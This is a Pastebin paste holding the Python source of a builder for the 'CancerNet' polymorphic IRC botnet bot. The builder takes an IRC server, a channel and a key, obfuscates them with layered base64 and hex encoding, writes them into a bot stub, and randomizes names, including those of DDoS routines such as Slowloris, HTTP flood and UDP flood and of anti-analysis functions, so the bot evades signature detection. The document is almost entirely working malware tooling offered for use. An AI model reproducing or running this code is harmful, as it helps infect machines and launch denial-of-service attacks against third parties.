KekSec

CancerNet Builder

Jan 22nd, 2017
924
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.86 KB | None | 0 0
  1. #!/usr/bin/python
  2. #-------------------------------------------------------------------------------
  3. # Name: CancerNet IRC bot V6
  4. # Purpose: IRC Bot for botnet
  5. # Notes: (polymorphic) (nearly impossible to remove without system
  6. # analysis and creation of a tool)
  7. #
  8. # Author: Freak/SynthMesc @ PopulusControl
  9. #
  10. # Created: 15/01/2015
  11. # Copyright: (c) Freak 2015
  12. # Licence: GPLv3
  13. # This program is free software: you can redistribute it and/or modify
  14. # it under the terms of the GNU General Public License as published by
  15. # the Free Software Foundation, either version 3 of the License, or
  16. # (at your option) any later version.
  17. #
  18. # This program is distributed in the hope that it will be useful,
  19. # but WITHOUT ANY WARRANTY; without even the implied warranty of
  20. # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
  21. # GNU General Public License for more details.
  22. #
  23. # You should have received a copy of the GNU General Public License
  24. # along with this program. If not, see <http://www.gnu.org/licenses/>.
  25. #-------------------------------------------------------------------------------
  26. #!/usr/bin/python
  27. import base64
  28. from time import sleep
  29. from random import choice,randrange
  30. from string import letters
  31. class Builder():
  32. def __init__(self):
  33. self.colours={"blue": "", "green": "", "white": "", "red": "", "yellow": ""}
  34. print "%s##################################" % self.colours['green']
  35. print "# %sCancerNet%s Polymorphic IRC Bot #" % (self.colours['red'],self.colours['green'])
  36. print "# By %sSynthMesc%s || Populus Control #" % (self.colours['yellow'],self.colours['green'])
  37. print "##################################"
  38. print
  39. print "######################"
  40. self.server = raw_input("# %sIRC Server:%s " % (self.colours['blue'],self.colours['green']))
  41. print "######################"
  42. print
  43. print "#############"
  44. self.channel = raw_input("# %sChannel:%s " % (self.colours['yellow'],self.colours['green']))
  45. self.password = raw_input("# %sChannel key:%s " % (self.colours['red'],self.colours['green']))
  46. self.output = raw_input("# %sOutput File:%s " % (self.colours['white'],self.colours['green']))
  47. print "#############"
  48. print
  49. print "%s[+]%s Build starting!" % (self.colours['blue'],self.colours['green'])
  50. self.build()
  51. def encode(self,data):
  52. enddata=base64.b64encode(data)
  53. enddata=enddata.encode('hex')
  54. enddata=base64.b64encode(enddata)
  55. enddata=enddata.encode('hex')
  56. enddata=enddata.encode('hex')
  57. return enddata
  58. def randStr(self,_n_):
  59. return ''.join(choice(letters) for _tmp_ in range(_n_))
  60. def build(self):
  61. print "%s[+]%s Encoding variables..." % (self.colours['blue'],self.colours['green'])
  62. self.server=self.encode(self.server)
  63. self.channel=self.encode(self.channel)
  64. self.password=self.encode(self.password)
  65. sleep(0.1)
  66. print "%s[+]%s Configuring stub..." % (self.colours['blue'],self.colours['green'])
  67. f1=open('CancerNet.py','r')
  68. fdata=f1.read()
  69. f1.close()
  70. fdata=fdata.replace("[SERVERHERE]",self.server)
  71. fdata=fdata.replace("[CHANNELHERE]",self.channel)
  72. fdata=fdata.replace("[PASSWORDHERE]",self.password)
  73. fdata=fdata.replace("[RANDOMNUMBERHERE]",str(randrange(20,40)))
  74. sleep(0.2)
  75. print "%s[+]%s Writing to stub..." % (self.colours['blue'],self.colours['green'])
  76. f2=open(self.output,'w')
  77. f2.write(fdata)
  78. f2.close()
  79. sleep(1)
  80. print "%s[+]%s Running polymorph engine on stub for the first time..." % (self.colours['blue'],self.colours['green'])
  81. sleep(0.1)
  82. f1=open(self.output,"r")
  83. buffer_=f1.read()
  84. f1.close()
  85. keywords=['LdkDvEjz', 'squdbhNF', 'squdbhNF', 'pJRtMXnr', 'krZuqOoS', 'djHsNKTC', 'MTCLjCqS', 'wwoHYcGX', 'WEDZgaKC', 'ZyUfnKmY', 'lzvJGQhK', 'uVcgrMdB', 'eLdpmooV', 'lwADeiuo', 'ksTdhuPd', 'qHXlKBTz', 'ZoyaERuG', 'nNCRXcyX', 'cvECZTOr', 'tPRXIETg', 'qoSYrsXg', 'kXiTsmAM', 'cOCaBrUO', 'UvSLWvAL', 'dFcQEbBo', 'trbOkDUX', 'upKurXmE', 'oWLdHNqx', 'mbaHoFcq', 'wqwOsYys', 'mbaHoFcq', 'pJfokfFb', 'HTdNRlTI', 'BuHzRnte', 'IhfIsqFG', 'SkPfqvVb', 'NeZktZqq', 'PDZDyIcr', 'cXVlBQPo', 'SQrrWUOl', 'iYGvSVSV', 'NqTdiWqy', 'AFrYBRhx', 'vfEjUri', 'NYawcQJk', 'rjsmgsgB', 'TQoQoTBw', 'YqvrmAfa', 'kQUqgxxv', 'aZhKIvaK', 'VOUZIdZn', 'nATvCwXH', 'bVfrYZOb', 'utfvVkYv', 'DATSulcH', 'NQrbUKHk', 'aQvbntXQ', 'txMeqlni', 'fjuThODd', 'DKjxyXtL', 'VWSgiNKV', 'GukfgoOr', 'uLRsefIV', 'llemeLCF', 'zTzQlGDR', 'FgBgausc', 'fWAffhSo', 'evqaobDM', 'JMSdYsiE', 'JtoyJZkp', 'SZwEyAvn', 'bXivjwVX', 'UQGWeDdr', 'FgBgausc', 'CyKuZgmu', 'Slowloris', 'HTTPFlood', 'UDPFood', 'attackPort', 'Target', 'endtime', 'fds', 'fd', 'Packets', 'attackPort', 'attackTime', 'udpmbs', 'udpmb', 'udpsock', 'Porty', 'Antis', 'Anti', 'Result', 'iteration', 'byte', 'httppacket', 'packetSize', 'useragents']
  86. for keyword in keywords:
  87. buffer_=buffer_.replace(keyword,self.randStr(randrange(5,10)))
  88. f2=open(self.output,"w")
  89. f2.write(buffer_)
  90. f2.close()
  91. print "%s[+]%s Done! Your stub is now ready!" % (self.colours['blue'],self.colours['green'])
  92. try:
  93. Builder()
  94. except:
  95. sleep(600)
Advertisement
Add Comment
Please, Sign In to add comment